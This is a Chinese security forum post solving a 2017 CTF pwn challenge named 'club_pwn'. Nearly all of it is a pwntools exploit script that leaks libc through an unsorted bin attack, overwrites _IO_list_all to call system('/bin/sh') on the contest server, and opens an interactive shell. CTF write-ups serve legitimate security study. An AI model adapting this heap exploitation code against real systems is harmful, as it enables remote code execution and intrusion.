首页
论坛
课程
招聘
[原创]2017CTF秋季赛 第四题 club_pwn 解题报告
2017-10-31 20:39 1955

[原创]2017CTF秋季赛 第四题 club_pwn 解题报告

2017-10-31 20:39
1955

歉意

囧,对我来说太复杂了,东拼西凑居然搞出来了,大家还是看别人的解析吧,我就贴贴代码。

 

和 free 有关的

  • double free (get_box 只能每种大小各用一次,free_box 只能 free 2, 3号,不能用这个)
  • fastbin attack (每次申请的大小必须不一样,不能用这个)
  • unsorted bin attack (只能用这个了)

各种参考资料

调试工具

from pwn import *

context.arch = 'amd64'
context.terminal = '/bin/sh'
#p = process('./club')
#p = gdb.debug("./club")
p = remote("123.206.22.95", 8888)

def get_box(idx, sz):
    p.recvuntil("> ")
    p.send("1")
    p.recvuntil("> ")
    p.send(str(idx))
    p.recvuntil("> ")
    p.send(str(sz))

def del_box(idx):
    p.recvuntil("> ")
    p.send("2")
    p.recvuntil("> ")
    p.send(str(idx))

def set_box(idx, msg):
    p.recvuntil("> ")
    p.send("3")
    p.recvuntil("> ")
    p.send(str(idx))
    assert "\n" not in msg
    p.send(msg + "\n")

def show_box(idx):
    p.recvuntil("> ")
    p.send("4")
    p.recvuntil("> ")
    p.send(str(idx))
    return p.recvline(keepends=False)

get_box(3, 1024)
get_box(4, 2048)
del_box(3)

main_arena_88 = u64(show_box(3).ljust(8, "\0"))
libc_base = main_arena_88 - 0x3C4B78
IO_list_all = libc_base + 0x3C5520
psystem = libc_base + 0x45390

get_box(2, 480)
get_box(1, 464)
del_box(2)

part2 = u64(show_box(2).ljust(8, "\0"))
pbuf = part2 - 960

payload = "/bin/sh\x00" + p64(96) + p64(part2) + p64(pbuf-16) + p64(0) + p64(1)
payload = payload.ljust(0xc0, "\0")
payload += p64(2**64-1)
payload = payload.ljust(0xd8,'\x00')
payload += p64(pbuf + 480 + 0xd8 + 8) + p64(0) + p64(0)
payload += p64(1) + p64(psystem)

payload = payload.ljust(480, "\0")

set_box(3, p64(pbuf+480) + p64(IO_list_all-0x10) + p64(0) + p64(0) + "A"*448 + \
    payload + \
    p64(0) + p64(64) + p64(main_arena_88) + p64(pbuf+480) + p64(0) + p64(0))

get_box(5, 4000)

p.interactive()

PS

阿里云开了10几块


[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 21611
活跃值: 活跃值 (959)
能力值: ( LV15,RANK:2998 )
在线值:
发帖
回帖
粉丝
风间仁 活跃值 19 2017-11-5 09:49
2
0
nice,  等的就是这种不需要leak  process heap的解法
游客
登录 | 注册 方可回帖
返回